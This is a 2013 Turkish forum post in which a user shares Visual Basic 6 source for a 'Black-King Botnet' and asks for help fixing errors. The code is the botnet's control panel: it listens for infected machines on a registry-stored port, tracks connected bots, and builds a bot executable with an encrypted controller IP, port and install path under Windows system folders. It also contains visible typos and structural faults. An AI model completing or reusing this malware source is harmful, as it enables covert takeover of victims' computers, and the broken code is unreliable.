- 21 Nis 2013
- 128
- 0
Black-King Botnet Kodladım Herşeyi doğru yaptım bazı kodlar hata veriyor
Hatalı Kodlar
Ne Hata Var Arkadaşlar
Hatalı Kodlar
Kod:
Private Sub form_initialize()
On Error GoTo eregistro
Set R = CreateObject("WSscript.shell")
Port = R.regread("HKEY_Local_MACHine/softwate/KilleRBoT/Port")
WS(Index).Close
WS(Index).LocalPort = Port
WS(Index).Listen
SB.SimpleText = "Listening on port : " & Port & " - " & LV.ListItems.Count & "Bot's"
If FileExist(App.Path & "/Notify.wav") = False Then
Mus = LoadResData(101, "CUSTOM")
File = FreeFile
Open App.Path & "NOTİF.wav" For Binary As File
Put File, , Mus
Close File
End If
End Sub
eregistro:
R.regwrite ("HKEY_Local_MACHine/softwate/KilleRBoT/Port"), 81
Port = 81
WS(Index).Close
WS(Index).LocalPort = Port
WS(Index).Listen
SB.SimpleText = "listening on port : " & Port & "-" & LV.ListItems.Count & "Bot's"
If FileExist(App.Path & "/Notify.wav") = False Then
Mus = LoadResData(101, "CUSTOM")
File = FreeFile
Open App.Path & "NOTİF.wav" For Binary As File
Put File, , Mus
cclose File
End If
_______________________________________________________________________________________________
Private Sub TM_Timer()
On Error Resume Next
Dim x As Integer
With LV.ListItems
If .Count > 0 Then
For x = 1 To .Count
If WS(x).State <> 7 Then .Remove (x): WS(x).Close
End If
End With
SB.SimpleText = "Açık Olan Port. " & Port & " & " & LV.ListItems.Count & "Botunuz Vat"
End Sub
_________________________________________________________________________________________________
Private Sub cBuild_click()
File = FreeFile
With CD
.FileName = ""
.DialogTitle = "Oluşturma Bölümünü Seçiniz."
.Filter = "Executables (.exe) | *.exe"
.ShowSave
If FileName <> "" Then
Bot() = LoadResData(102, "CUSTOM")
If oWindir.Value = True Then Path = "%windir%"
If oAppData.Value = True Then Path = "%appData%"
If oSystem.Value = True Then Path = "%system32%"
If oProgramFiles.Value = True Then Path = "%temp%"
Open .FileName For Binary As File
Put File, , "|%|" & Encriptar("SCBB", txtIP.Text)
Put File, , "|%|" & Encriptar("SCBB", txtPort.Text)
Put File, , "|%|" & Encriptar("SCBB", txtFileName.Text)
Put File, , "|%|" & Encriptar("SCBB", txtRunName.Text)
Put File, , "|%|" & Encriptar("SCBB", txtName.Text)
Put File, , "|%|" & Encriptar("SCBB", Path)
Close File
MsgBox "Server Başarıyla Oluşturuldu.!" & .FileName, vbInformation, Me.Caption
End With
End Sub
_________________________________________________________________________________________________________________________